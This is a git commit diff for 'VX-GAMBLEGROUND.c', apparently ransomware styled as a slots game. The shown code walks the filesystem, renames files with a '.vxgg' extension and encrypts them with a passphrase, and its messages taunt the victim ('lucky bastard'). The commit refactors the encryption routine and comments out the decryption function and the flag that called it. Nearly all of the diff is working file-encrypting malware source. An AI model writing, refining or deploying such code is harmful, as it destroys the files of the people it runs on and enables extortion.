diff options
| author | @syxhe <https://t.me/syxhe> | 2024-09-02 22:26:32 -0500 |
|---|---|---|
| committer | @syxhe <https://t.me/syxhe> | 2024-09-02 22:26:32 -0500 |
| commit | 248f88a02aea778c989f9673dffe5ddf7b7f3ee3 (patch) | |
| tree | 06d243097d09347fb31f5e8dd3fc3da538c1b724 /src/VX-GAMBLEGROUND.c | |
| parent | 92b2b42b0976a2849e0fd25cbd4ceedebb9b0a5e (diff) | |
Make the encrypt function less shitty
Diffstat (limited to 'src/VX-GAMBLEGROUND.c')
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 129 |
1 files changed, 47 insertions, 82 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 1e508a2..d7e1842 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -158,87 +158,52 @@ int doslots_twrapper(void *passed) { | |||
| 158 | int scanundencrypt(void *passed) { | 158 | int scanundencrypt(void *passed) { |
| 159 | struct sande *p = (struct sande *)passed; | 159 | struct sande *p = (struct sande *)passed; |
| 160 | 160 | ||
| 161 | int err = REG_NOERROR; | ||
| 162 | regex_t encext; | ||
| 163 | if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { | ||
| 164 | endwin(); | ||
| 165 | error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); | ||
| 166 | } | ||
| 167 | |||
| 168 | p->scanned = scanfiles(p->STARTPATH, p->cmp); | 161 | p->scanned = scanfiles(p->STARTPATH, p->cmp); |
| 169 | if(p->scanned == NULL) | 162 | encryptvxgg(p->scanned, p->passphrase); |
| 170 | error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); | ||
| 171 | |||
| 172 | int fd = -1; | ||
| 173 | for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { | ||
| 174 | // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash | ||
| 175 | if(p2->fullpath == NULL) | ||
| 176 | continue; | ||
| 177 | |||
| 178 | if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) | ||
| 179 | continue; | ||
| 180 | |||
| 181 | |||
| 182 | char *newname = NULL; | ||
| 183 | if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { | ||
| 184 | endwin(); | ||
| 185 | error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); | ||
| 186 | } | ||
| 187 | rename(p2->fullpath, newname); | ||
| 188 | |||
| 189 | 163 | ||
| 190 | fd = open(newname, O_RDWR); | ||
| 191 | free(newname); | ||
| 192 | if(fd < 0) | ||
| 193 | continue; | ||
| 194 | |||
| 195 | passencblock(fd, p->passphrase); | ||
| 196 | close(fd); | ||
| 197 | } | ||
| 198 | |||
| 199 | // I don't have to do this, but I might as well | ||
| 200 | nodelist_delete(p->scanned); | ||
| 201 | return 0; | 164 | return 0; |
| 202 | } | 165 | } |
| 203 | 166 | ||
| 204 | int decrypt(void *args) { | 167 | // int decrypt(void *args) { |
| 205 | struct sande *pass = (struct sande *)args; | 168 | // struct sande *pass = (struct sande *)args; |
| 206 | pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); | 169 | // pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); |
| 207 | if(pass->scanned == NULL) | 170 | // if(pass->scanned == NULL) |
| 208 | error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); | 171 | // error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); |
| 209 | 172 | ||
| 210 | int err = REG_NOERROR; | 173 | // int err = REG_NOERROR; |
| 211 | regex_t encext; | 174 | // regex_t encext; |
| 212 | if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) | 175 | // if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) |
| 213 | error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); | 176 | // error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); |
| 214 | 177 | ||
| 215 | int fd = -1; | 178 | // int fd = -1; |
| 216 | for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { | 179 | // for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { |
| 217 | if(p->fullpath == NULL) | 180 | // if(p->fullpath == NULL) |
| 218 | continue; | 181 | // continue; |
| 219 | 182 | ||
| 220 | if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) | 183 | // if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) |
| 221 | continue; | 184 | // continue; |
| 222 | 185 | ||
| 223 | fd = open(p->fullpath, O_RDWR); | 186 | // fd = open(p->fullpath, O_RDWR); |
| 224 | if(fd < 0) | 187 | // if(fd < 0) |
| 225 | continue; | 188 | // continue; |
| 226 | passencblock(fd, pass->passphrase); | 189 | // passencblock(fd, pass->passphrase); |
| 227 | close(fd); | 190 | // close(fd); |
| 228 | 191 | ||
| 229 | // Once again my problems are solved by allocating shit instead of using static shit | 192 | // // Once again my problems are solved by allocating shit instead of using static shit |
| 230 | char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); | 193 | // char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); |
| 231 | strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); | 194 | // strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); |
| 232 | rename(p->fullpath, newname); | 195 | // rename(p->fullpath, newname); |
| 233 | free(newname); | 196 | // free(newname); |
| 234 | } | 197 | // } |
| 198 | |||
| 199 | // endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized | ||
| 200 | // error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); | ||
| 201 | // exit(0); | ||
| 202 | |||
| 203 | // return 0; | ||
| 204 | // } | ||
| 235 | 205 | ||
| 236 | endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized | ||
| 237 | error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); | ||
| 238 | exit(0); | ||
| 239 | 206 | ||
| 240 | return 0; | ||
| 241 | } | ||
| 242 | 207 | ||
| 243 | int main(int argc, char *argv[]) { | 208 | int main(int argc, char *argv[]) { |
| 244 | struct arguments args = { | 209 | struct arguments args = { |
| @@ -261,16 +226,16 @@ int main(int argc, char *argv[]) { | |||
| 261 | 226 | ||
| 262 | 227 | ||
| 263 | // Deal with decrypting flag | 228 | // Deal with decrypting flag |
| 264 | if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { | 229 | // if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { |
| 265 | struct sande pass = { | 230 | // struct sande pass = { |
| 266 | .cmp = alphasort, | 231 | // .cmp = alphasort, |
| 267 | .passphrase = passphrase, | 232 | // .passphrase = passphrase, |
| 268 | .scanned = NULL, | 233 | // .scanned = NULL, |
| 269 | .STARTPATH = FILESCAN_START | 234 | // .STARTPATH = FILESCAN_START |
| 270 | }; | 235 | // }; |
| 271 | decrypt((void*)&pass); | 236 | // decrypt((void*)&pass); |
| 272 | return 0; | 237 | // return 0; |
| 273 | } | 238 | // } |
| 274 | 239 | ||
| 275 | struct bullshit stuff; | 240 | struct bullshit stuff; |
| 276 | struct nodelist *files = NULL; | 241 | struct nodelist *files = NULL; |
